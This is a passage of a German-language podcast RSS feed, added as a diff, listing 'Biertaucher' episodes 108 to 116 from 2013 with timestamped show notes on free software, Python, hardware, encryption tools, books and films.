+</li><li> 0:54:21 Hardware: <a href="http://www.golem.de/news/google-chromecast-basiert-auf-android-nicht-auf-chrome-os-1307-100659.html">Chromecast Chrome OS TV-Stick</a>
+</li><li> 1:00:19 <a href="http://www.insidehighered.com/news/2013/07/18/citing-disappointing-student-outcomes-san-jose-state-pauses-work-udacity">Probleme für Udacity</a> Artikel in "Inside higher education", online Kurs Zertifikate, Studiengebühren, wissenschaftliche Zeitschriften selber machen
+</li><li> 1:13:42 Gregor hat keine Zombiebücher gelesen, sondern: <a href="http://www.amazon.de/gp/product/3442734363/ref=as_li_ss_il?ie=UTF8&camp=1638&creative=19454&creativeASIN=3442734363&linkCode=as2&tag=spielendprogr-21">Nachtzug nach Lissabon</a> <a href="http://www.amazon.de/gp/product/3570585018/ref=as_li_ss_il?ie=UTF8&camp=1638&creative=19454&creativeASIN=3570585018&linkCode=as2&tag=spielendprogr-21">Der Hundertjährige der aus dem Fenster stieg und verschwand</a>
+</li><li> 1:24:26 vimeo Kiffervideos: <a href="http://www.helpingyoumaintain.com/episodes">High Maintenance</a>
+</li><li> 1:26:00 vimeo: <a href="http://www.thisiscolossal.com/2013/07/the-pixel-painter-a-97-year-old-man-who-paints-using-microsoft-paint-from-windows-95/">97er zeichnet mit ms paint</a>
+</li><li> 1:28:00 Florian über Gnome Konferenz <a href="https://www.guadec.org/">Guadec</a>
+</li>
+</ul>
+
+ ]]></content:encoded>
+<enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher116.mp3" length="67118736" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Kinder, Bücher, Filme, Spiele, Politik</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/VNL2i1 http://biertaucher.at
+Bitte flattern: http://flattr.com/thing/1771380/Biertaucher-Podcast-Folge-116</itunes:summary>
+<itunes:duration>1:33:13</itunes:duration>
+<itunes:keywords>Biertaucher, Podcast, 116, ebook, ebook reader, pdf, epub, calibre, Kobo, Aura HD, Mörbisch, Radtour, Ungarn, Wälderbahn, Bregenzerwaldbahn, Vorarlberg, Rayman, Dominions4, Desura, Bier, Cousera, Social Psychology, Ipython, Mathematik, Unterricht, Gamecit
+</itunes:keywords>
+</item>
+
+
+
+
+
+<item>
+ <title>Biertaucher Folge 115</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2013:115</link>
+ <pubDate>Wed, 31 Jul 2013 09:00:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher115.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2013:115&amp;title=Biertaucher%20Folge%20115&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Horst JENS, Florian SCHWEIKERT und Harald PICHLER plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/bC5FXy oder http://biertaucher.at Bitte nach Möglichkeit diesen Flattr-Link anlicken: http://flattr.com/thing/1731048/Biertaucher-Podcast-Folge-115
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/bC5FXy">hier klicken um die Shownotes zur Folge 115</a> zu sehen</i><br></br>
+ <b>Horst JENS</B>, <b>Florian SCHWEIKERT</B> und <b>Harald PICHLER</B> plaudern über freie Software andere Nerd-Themen.
+<br></br>
+ Bitte Flattern: <a href="http://flattr.com/thing/1731048/Biertaucher-Podcast-Folge-115" target="_blank"><img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ <li> 0:02:00 <a href="http://www.kickstarter.com/projects/460738485/legends-of-aethereus-co-op-hack-n-slash-action-gam">Legends of Aethereus</a> Action RPG für Linux
+</li><li> 0:04:45 Harald berichtet über den Artikel "Roboter in Schulen" aus <a href="http://www.heise.de/ct/inhalt/2013/17/6/">der aktuellen Zeitschrift c't</a>, u.a. Lego Mindstorm
+</li><li> 0:12:20 Löten für Kinder: <a href="http://mightyohm.com/blog/2011/04/soldering-is-easy-comic-book/">Soldering is easy (pdf)</a> by Mitch Altmann
+</li><li> 0:12:50 <a href="http://www.barefootcollege.org/">Barefoot College</a> in Indien, Dokumentation (50 min) auf youtube: <a href="http://youtu.be/ON_NQ1HnRYs">Solar Mamas - why poverty</a>, <a href="http://www.ted.com/talks/bunker_roy.html?embed=true">Ted Video mit Bunker Roy</a> (Gründer von Barefoot College)
+</li><li> 0:16:30 Florian über Anonymosierungsdienste <a href="http://de.wikipedia.org/wiki/JonDo">JonDo</a> und <a href="http://de.wikipedia.org/wiki/Tor_(Netzwerk)">Tor</a>, Kryptopartys im <a href="https://metalab.at/calendar/">Metalab Kalender</a>
+</li><li> 0:21:00 Hubschrauber Störgeräusch (und Wind)
+</li><li> 0:22:00 Ãœberwachungsstaat: gutes <a href="http://youtu.be/iHlzsURb0WI">Youtube Video</a> im <a href="http://www.thersa.org/events/rsaanimate">RSA-Animation</a> Sttil von Manniac
+</li><li> 0:27:15 Harald über: Kindererziehung, Essenszeiten und ins-Freie-Gehen in Kindergärten, ungesunde Nahrungsindustrie
+</li><li> 0:29:42 <a href="http://futurezone.at/digitallife/17348-star-hacker-barnaby-jack-verstorben.php">plötzlicher Tod des White Hat Hackers Barnaby Jack</a> kurz vor Vortrag auf Sicherheitskonferenz (deckte u.a. Sicherheitslücken in Insulinpumpen auf)
+</li><li> 0:31:00 Buchbesprechung: <a href="http://www.amazon.de/gp/product/0552779180/ref=as_li_ss_il?ie=UTF8&camp=1638&creative=19454&creativeASIN=0552779180&linkCode=as2&tag=spielendprogr-21">French Children don't throw Food</a> (bzw: <a href="http://www.amazon.de/gp/product/0143123580/ref=as_li_ss_il?ie=UTF8&camp=1638&creative=19454&creativeASIN=0143123580&linkCode=as2&tag=spielendprogr-21">Bringing up bébé</a>)
+</li><li> 0:33:30 kleine Kinder die durchschlafen (Störgeräusche durch Wind)
+</li><li> 0:37:00 Harald nörgelt über Zusatzkosten beim Gratiskindergarten
+</li><li> 0:40:44 Harald ruft auf zum Kinderkriegen
+</li><li> 0:41:10 Harald über Git taggen und über Sachen die man mit <a href="http://de.wikipedia.org/wiki/Git">Git</a> nicht machen sollte
+</li><li> 0:49:07 schöner Leben: Florian war auf der Rax (Hubertushütte)
+</li><li> 0:51:50 schöner Leben: <a href="http://www.koetschach-mauthen.gv.at/index.php?option=com_content&view=article&id=1310:naturschwimmbad-waldbad-mauthen-wieder-geoeffnet&catid=38:aktuelles&Itemid=106">Waldbad in Kötschach / Meutern</a>, Bad Vöslau
+</li><li> 0:55:10 Buchbesprechung: <a href="http://www.amazon.de/gp/product/0141034890/ref=as_li_ss_il?ie=UTF8&camp=1638&creative=19454&creativeASIN=0141034890&linkCode=as2&tag=spielendprogr-21">The World is Flat</a> von Thomas Friedman
+</li><li> 0:58:40 Studie über Fleischkonsum in der Eu und Futtermittelanbau (Regenwaldvernichtung)
+</li><li> 1:02:00 Interview mit Gerhard Fenkart über seinen Roman <a href="http://www.amazon.de/gp/product/3902903406/ref=as_li_ss_il?ie=UTF8&camp=1638&creative=19454&creativeASIN=3902903406&linkCode=as2&tag=spielendprogr-21">Der Quereinstieg</a> und den <a href="http://youtu.be/Ho3k1SMu6Vs">dazugehörigen Youtube-Trailer</a> und <a href="http://kathiforkanzlerin.net">Blog</a>
+</li><li> 1:07:52 Inhaltsverzeichnis vom <a href="http://www.bitcoinupdate.com/">neuesten Bitcoinupdate Podcast</a> mit Andreas Lehrbaum und Andreas Petersson
+</li>
+</ul>
+
+ ]]></content:encoded>
+<enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher115.mp3" length="57632246" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Kinder, Bücher, Filme, Spiele, Politik</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/bC5FXy http://biertaucher.at
+Bitte flattern: http://flattr.com/thing/1731048/Biertaucher-Podcast-Folge-115</itunes:summary>
+<itunes:duration>1:08:33</itunes:duration>
+<itunes:keywords>Biertaucher, Podcast, 115, Kickstarter, Legends of Aethereus, Roboter, Schulen, Kindergärtern, Lego, Mindstorm, Löten, Barefoot, College, Ted, Bunker Roy, Solar Mamas, Humble Bundle, NSA, Prism, JonDo, Tor, Kryptoparty, Überwachungsstaat, Barnaby, Jack, H
+</itunes:keywords>
+</item>
+
+
+<item>
+ <title>Biertaucher Folge 114</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2013:114</link>
+ <pubDate>Thu, 25 Jul 2013 12:30:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher114.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2013:114&amp;title=Biertaucher%20Folge%20114&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Horst JENS und Andreas BIDER plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/U1y9E3 oder http://biertaucher.at Bitte nach Möglichkeit diesen Flattr-Link anlicken: http://flattr.com/thing/1700969/Biertaucher-Podcast-Folge-114
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/U1y9E3">hier klicken um die Shownotes zur Folge 114</a> zu sehen</i><br></br>
+ <b>Horst JENS</B> und <b>Andreas BIDER</B> plaudern über freie Software andere Nerd-Themen.
+<br></br>
+ Bitte Flattern: <a href="http://flattr.com/thing/1700969/Biertaucher-Podcast-Folge-114" target="_blank"><img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ <li> 0:02:16 <a href="http://www.pyladies.com/">Pyladies</a> im <a href="http://www.sektor5.at/">Sektor 5</a>
+</li><li> 0:05:00 erfrischend hirnloses Sommerkino: Pacific Rim mit <a href="http://de.wikipedia.org/wiki/Idris_Elba">Idris Elba</a> und <a href="http://de.wikipedia.org/wiki/Rinko_Kikuchi">Rinko Kikuchi</a>
+</li><li> 0:07:21 <a href="http://pymove3d.sudile.com/">Pymove 3d</a> <a href="http://www.blender.org/">Blender</a> - Python Tutorial mit Sphinx
+</li><li> 0:08:30 <a href="http://www.osdomotics.com/">Smarthome</a> Treffen im Metalab
+</li><li> 0:11:28 Metalab Analog-Fototreffen
+</li><li> 0:14:35 Wandern und Mountainbiken in Salzburg
+</li><li> 0:19:31 billiger Leben: <a href="http://www.wien.gv.at/freizeit/sportamt/annodazumal/sportstaetten/stadionbad.html">Stadionbad</a> besuchen ohne Eintritt zu zahlen
+</li><li> 0:21:49 <a href="https://www.couchsurfing.org/n/places/vienna-wien-austria">Couchsurfing</a>
+</li><li> 0:24:02 gekauft und angespielt: <a href="http://thecavegame.com/">TheCave</a>, via Steam für Linux
+</li><li> 0:27:57 <a href="http://www.lubuntu.net/">Lubuntu</a>
+</li><li> 0:29:43 <a href="https://picroma.com/cubeworld">Cubeworld</a>
+</li>
+</ul>
+
+ ]]></content:encoded>
+<enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher114.mp3" length="29141691" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Horst und Andreas plaudern über freie Software</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/U1y9E3 http://biertaucher.at
+Bitte flattern: http://flattr.com/thing/1700969/Biertaucher-Podcast-Folge-114</itunes:summary>
+<itunes:duration>34:38</itunes:duration>
+<itunes:keywords>Biertaucher, Podcast, 114, Python, Pyladies, CodeAcademy, Blender, Pacific Rim, Idris Elba, Rinko Kikuchi, Pymove, Metalab, Sphinx, Smarthome, Fotografie, Salzburg, Wandern, Mountainbike, Stadionbad, Couchsurfing, TheCave, Steam, Linux, Lubuntu, Cubeworld
+</itunes:keywords>
+</item>
+
+
+
+ <item>
+ <title>Biertaucher Folge 113</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2013:113</link>
+ <pubDate>Wed, 17 Jul 2013 18:30:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher113.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2013:113&amp;title=Biertaucher%20Folge%20113&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Gregor PRIDUN, Florian Schweikert, Horst JENS und Harald PICHLER plaudern wir über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/6va0h oder http://biertaucher.at Bitte nach Möglichkeit diesen Flattr-Link anlicken: http://flattr.com/thing/1663094/Biertaucher-Podcast-Folge-113
+
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/6va0h">hier klicken um die Shownotes zur Folge 113</a> zu sehen</i><br></br>
+ <b>Horst JENS</b>, <b>Florian SCHWEIKERT</b>, <b>Harald PICHLER</b> und <b>Gregor PRIDUN</b> plaudern über freie Software andere Nerd-Themen.
+ <br></br>
+ Bitte Flattern: <a href="http://flattr.com/thing/1663094/Biertaucher-Podcast-Folge-113" target="_blank">
+<img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+
+ <li>0:00:00 (Gregor bespritzt Horst mit Bierschaum)
+</li><li>0:01:12 Inhaltsverzeichnis
+</li><li>0:02:40 Florian war beim Open-Data Treffen der Wiener Linien (<a href="http://data.wien.gv.at/">Open Goverment Data</a>), wir philosophieren über klimatisierte Staßenbahnen und Routenplaner
+</li><li>0:22:17 Ankündigung: Smarthome-Stammtisch im Metalab, Mittwoch, 17-7-2013, 18:00
+</li><li>0:23:48 Harald zeigt <a href="http://OsDomtics.com">OSDomotics Hardware</a>: RasperryPi mit Merkurboard (<a href="http://de.wikipedia.org/wiki/6LoWPAN">6lowPan</a>, wetterfeste Sensorschachtel für Funkfühler, Messwabe, RaspberryPi und Merkurboard, Funkknoten, Mesh-Netze, ... )
+</li><li>0:38:14 Horst beschäftigt sich mit dem Python-Dokumentationsersteller <a href="http://sphinx-doc.org/">Sphinx</a> sowie mit <a href="http://pages.github.com/">Github Pages</a>
+</li><li>0:43:35 Gregor war tollpatschig: <a href="http://de.wikipedia.org/wiki/Utf8">Utf-8</a> Encodingprobleme, Wordpress war nicht (!) schuld
+</li><li>0:46:55 Harald scheitert am Bezahlautomaten der <a href="http://www.buechereien.wien.at/de/standorteoeffnungszeiten/hauptbuecherei">Wiener Hauptbücherei</a> (Passwortvergabe)
+</li><li>0:51:48 <a href="http://kathiforkanzlerin.net/?p=209">Blog zum Filmtrailer</a> zum Buch: <a href="http://www.thalia.at/shop/at_thalia_start/suchartikel/quereinstieg/gerhard_fenkart_froe/ISBN3-902903-40-6/ID35315505.html?fftrk=1%3A1%3A10%3A10%3A1&jumpId=16078579">Der Quereinstieg</a> (Störgeräusche beim Filmdreh)
+</li><li>0:54:40 Gregors Podcastempfehlungen: <a href="http://www.podcast.at/podcasts/the-mentally-insane-370439.html">Mentally Insane</a> (Befindlichkeitspodcast von den Factory/Fubar Machern)
+</li><li>0:56:44 Harald hat Desktop-Fernwartung per <a href="http://en.wikipedia.org/wiki/Vnc">VNC</a> ausprobiert
+</li><li>1:03:12 Horst stört sich an <a href="http://en.wikipedia.org/wiki/Taser">Taser</a> Productplacement im Kinofilm <a href="http://en.wikipedia.org/wiki/Despicable_Me_2">"Ich - unverbesserlich 2"</a>
+</li><li>1:09:14 Harald's Projekt der Woche: eine wasserdichte, wetterfeste Plastikschachtel für Funksensoren, mit wasserdichten Kabelöffnungen. Für Funksensoren / Funksteuerung. Näheres demnächst im <a href="http://osdomotics.com">Osdomotics</a> Wiki
+</li><li>1:12:57 Gregors Filmtipp: <a href="http://en.wikipedia.org/wiki/Warm_Bodies_(film)">Warm Bodies</a> - Zombieromanze
+</li><li>1:17:30 Gregors Filmtipp (<a href="http://kinowienochnie.at/">Augartenspitz Sommerkino</a>): <a href="http://en.wikipedia.org/wiki/The_Long_Goodbye_(film)">The long Goodbye</a>
+</li><li>1:19:57 erfolgreich auf Indiegogo: <a href="http://www.indiegogo.com/projects/iron-sky-the-coming-race">Iron Sky the coming race</a>
+</li><li>1:22:04 Inhaltsverzeichnis <a href="http://bitcoinupdate.com/index.php?id=25">Bitcoin-Update Folge 34</a>
+</li>
+</ul>
+
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher113.mp3" length="59534668" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Filmkritik "Ich, Unverbesserlich 2", Smarthome Hardware, wetterfeste Funkfühler, Filmbesprechungen, Podcastempfehlung, Harald und der Bezahlautomat, OpenData der Wiener Linien uvm</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/6va0h bzw. http://biertaucher.at
+Bitte flattern: http://flattr.com/thing/1663094/Biertaucher-Podcast-Folge-113
+</itunes:summary>
+<itunes:duration>01:22:41</itunes:duration>
+<itunes:keywords>Biertaucher, Podcast, 113, Wiener Linien, OpenData, OSDomotics, VNC, Smarthome, Relaisbox, RaspberryPi, 6lowPan, Sphinx, Python, Kino, Ich einfach unverbesserlich 2, Bücherei, Open Goverment Data, 6lowPan, Wien, Zombies, Taser
+</itunes:keywords>
+</item>
+
+
+
+ <item>
+ <title>Biertaucher Folge 112</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2013:112</link>
+ <pubDate>Wed, 10 Jul 2013 07:10:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher112.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2013:112&amp;title=Biertaucher%20Folge%20112&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Gregor PRIDUN lauscht Horst JENS, Bernd SCHLAPSI und Hop beim Berichten von der Europython Konferenz. Und natürlich plaudern wir über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/XmLXz oder http://biertaucher.at Bitte nach Möglichkeit diesen Flattr-Link anlicken: http://flattr.com/thing/1623952/Biertaucher-Podcast-Folge-112
+
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/wLSJN">hier klicken um die Shownotes zur Folge 112</a> zu sehen</i><br></br>
+ <b>Horst JENS</b>, <b>Bernd SCHLAPSI</b> und <b>Hop</b> erzählen <b>Gregor PRIDUN</b> von der Europython Konferenz undplaudern über freie Software andere Nerd-Themen.
+ <br></br>
+ Bitte Flattern: <a href="http://flattr.com/thing/1623952/Biertaucher-Podcast-Folge-112" target="_blank">
+<img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+
+ <li>0:01:04 Erratum von Gregor: Planes war ein Mockbuster, aber kein original Disney-Film
+</li><li>0:02:00 Bericht von <a href="https://ep2013.europython.eu/">Europython 2013</a>
+</li><li>0:27:48 Aufruf zur nächsten Python User Group - <a href="http://pyug.at/Pyugat">PyUGAT</a> am 24-7-2013
+</li><li>0:28:47 Gregor hat <a href="https://de.wikipedia.org/wiki/Calibre">Calibre Sever</a> installiert
+</li><li>0:39:00 Musikplayer / Musikverwaltungssoftware, Squeezebox, podcasts mit doppelter Geschwindigkeit abspielen,
+</li><li>0:44:07 Gregors Trashwarnung: Wargames 2
+</li><li>0:47:38 Hop's Filmtipp: am 20. 7. ? Kino im Kesselhaus in <a href="https://de.wikipedia.org/wiki/Krems_an_der_Donau">Krems</a>, <a href="http://www.glattundverkehrt.at/?set_language=de">Glatt und Verkehrt Festival</a>: <a href="http://www.amazon.de/gp/product/B009TSA7PM/ref=as_li_ss_il?ie=UTF8&camp=1638&creative=19454&creativeASIN=B009TSA7PM&linkCode=as2&tag=spielendprogr-21">Sugarman</a>
+</li><li>0:50:00 Inhaltsverzeichnis <a href="http://www.bitcoinupdate.com/">Bitcoin-Update</a>
+ </li>
+</ul>
+
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher112.mp3" length="36494061" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Horst, Bernd und Hop berichten dem Gregor, der ausgiebigst trashige Science Fiction Filme geguckt hat und einen Calibre Server aufgesetzt hat, von der Europython Konferenz vergangene Woche.</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/XmLXz bzw. http://biertaucher.at
+Bitte flattern: http://flattr.com/thing/1623952/Biertaucher-Podcast-Folge-112
+</itunes:summary>
+<itunes:duration>00:50:40</itunes:duration>
+<itunes:keywords>Biertaucher, Podcast, 112, Calibre, Python, Europython, Florenz, Italien, Hotel, Disney, Blender, ebooks, Wargames2, Krems, Sugarman
+</itunes:keywords>
+</item>
+
+
+ <item>
+ <title>Biertaucher Folge 111</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2013:111</link>
+ <pubDate>Wed, 03 Jul 2013 07:00:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher111.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2013:111&amp;title=Biertaucher%20Folge%20111&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Gregor PRIDUN und Johnny ZWENG plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/wLSJN oder http://biertaucher.at Bitte nach Möglichkeit diesen Flattr-Link anlicken: http://flattr.com/thing/1589398/Biertaucher-Podcast-Folge-111
+
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/wLSJN">hier klicken um die Shownotes zur Folge 111</a> zu sehen</i><br></br>
+ <b>Johnny ZWENG</b> und <b>Gregor PRIDUN</b> plaudern über freie Software andere Nerd-Themen.
+ <br></br>
+ Bitte Flattern: <a href="http://flattr.com/thing/1589398/Biertaucher-Podcast-Folge-111" target="_blank">
+<img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+
+ <li>0:02:30 Inhalt: Johnny hat <a href="https://bitmessage.org/wiki/Main_Page">Bitmessage</a> ausprobiert, Gregor's Beagle Bone Black ist angekommen, Gregor und Wordpress
+</li><li>0:04:24 Bitmessage, ein asynchrones Kommunikationsmittel (wie email) mit Verschlüsselung. Ersatz für <a href="http://www.gnupg.org/">GnuPG</a> ? Bitmessage verschlüsselt nicht nur den Inhalt, sondern auch die Verbindungsdaten
+</li><li>0:19:48 <a href="https://crypto.cat/">Cryptocat</a>, Chat - Verschlüsselung. Schwachstellen bei https Verschlüsselung mit Zertifikaten.
+</li><li>0:23:55 Wie sicher ist die Verschlüsselung bei Google Hangout ?
+</li><li>0:26:36 Gregor und sein <a href="http://beagleboard.org/Products/BeagleBone%20Black">Beagle Bone Black</a>, Linux Shells für Windows
+</li><li>0:43:36 Gregor hat <a href="http://wordpress.org/">Wordpress</a> am <a href="http://de.wikipedia.org/wiki/Raspberry_Pi">Raspberry Pi</a> ausprobiert und findet die Pluginverwaltung besser gelöst als bei <a href="http://www.joomla.org/">Joomla</a>
+</li><li>1:01:18 Calibre Alternative Cops ?
+</li><li>1:02:00 Horst berichtet von der Europython 2013 aus Florenz von der <a href="https://ep2013.europython.eu/p3/live/">Europython 2013</a>.
+</li><li>1:05:00 Inhaltsverzeichnis vom neuesten <a href="http://bitcoinupdate.com">bitcoinupdate.com</a>
+</li>
+
+</ul>
+
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher111.mp3" length="47396880" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Beagle Bone Black, Cryptocat, Bitmessage, Verschlüsselung, Europython uvm</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/wLSJN bzw. http://biertaucher.at
+Bitte flattern: http://flattr.com/thing/1589398/Biertaucher-Podcast-Folge-111
+</itunes:summary>
+<itunes:duration>1:05:49</itunes:duration>
+<itunes:keywords>Biertaucher, Podcast, 111, Sommerkino, Augartenspitz, Bitmessage, Verschlüsselung, GnuPG, Cryptocat, https, Zertifikate, Google Hangout, Beagle Bone Black, Shell, Wordpress, Joomla, RaspberryPi, Europython
+</itunes:keywords>
+</item>
+
+
+ <item>
+ <title>Biertaucher Folge 110</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2013:110</link>
+ <pubDate>Wed, 26 Jun 2013 12:15:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher110.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2013:110&amp;title=Biertaucher%20Folge%20110&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Horst JENS und Gregor PRIDUN und Johnny ZWENG plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/xquXA oder http://biertaucher.at Bitte nach Möglichkeit diesen Flattr-Link anlicken: http://flattr.com/thing/1550072/Biertaucher-Podcast-Folge-110
+
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/xquXA">hier klicken um die Shownotes zur Folge 110</a> zu sehen</i><br></br>
+ <b>Johnny ZWENG</b>, <b>Horst JENS</b> und <b>Gregor PRIDUN</b> plaudern über freie Software, Kickstarter-Projekte, schlechte Laune, Kinofilme, Bitcoins und andere Nerd-Themen.
+ <br></br>
+ Bitte Flattern: <a href="http://flattr.com/thing/1550072/Biertaucher-Podcast-Folge-110" target="_blank">
+<img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+
+ Shownotes sind in Arbeit
+
+</ul>
+
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher110.mp3" length="24670662" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Shownotes sind in Arbeit</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/xquXA bzw. http://biertaucher.at
+Bitte flattern: http://flattr.com/thing/1550072/Biertaucher-Podcast-Folge-110
+</itunes:summary>
+<itunes:duration>0:34:15</itunes:duration>
+<itunes:keywords>
+Biertaucher, Podcast, 110, Kino, Monster University, Data Dealer, Kickstarter, Massive Chalice, Termperaturmessung, Beagle Board, Balluch, Terrorparagraph, Österreich
+</itunes:keywords>
+</item>
+
+
+ <item>
+ <title>Biertaucher Folge 109</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2013:109</link>
+ <pubDate>Thu, 20 Jun 2013 17:00:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher109.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2013:109&amp;title=Biertaucher%20Folge%20109&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Horst JENS und Gregor PRIDUN plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/IeOp3 oder http://biertaucher.at Bitte nach Möglichkeit diesen Flattr-Link anlicken: http://flattr.com/thing/1513767/Biertaucher-Podcast-Folge-109
+
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/IeOp3">hier klicken um die Shownotes zur Folge 109</a> zu sehen</i><br></br>
+ <b>Horst JENS</b> und <b>Gregor PRIDUN</b> plaudern über freie Software, Bitcoins und andere Nerd-Themen.
+ <br></br>
+ Bitte Flattern: <a href="http://flattr.com/thing/1513767/Biertaucher-Podcast-Folge-109" target="_blank">
+<img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+
+ Shownotes sind in Arbeit
+
+</ul>
+
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher109.mp3" length="28185281" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Shownotes sind in Arbeit</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/IeOp3 bzw. http://biertaucher.at
+Bitte flattern: http://flattr.com/thing/1513767/Biertaucher-Podcast-Folge-109
+</itunes:summary>
+<itunes:duration>0:39:08</itunes:duration>
+<itunes:keywords>
+Biertaucher, Podcast, 109, Desura, Steam, Kino, Science-Fiction-im-Park, OwnCloud
+</itunes:keywords>
+</item>
+
+
+
+ <item>
+ <title>Biertaucher Folge 108</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2013:108</link>
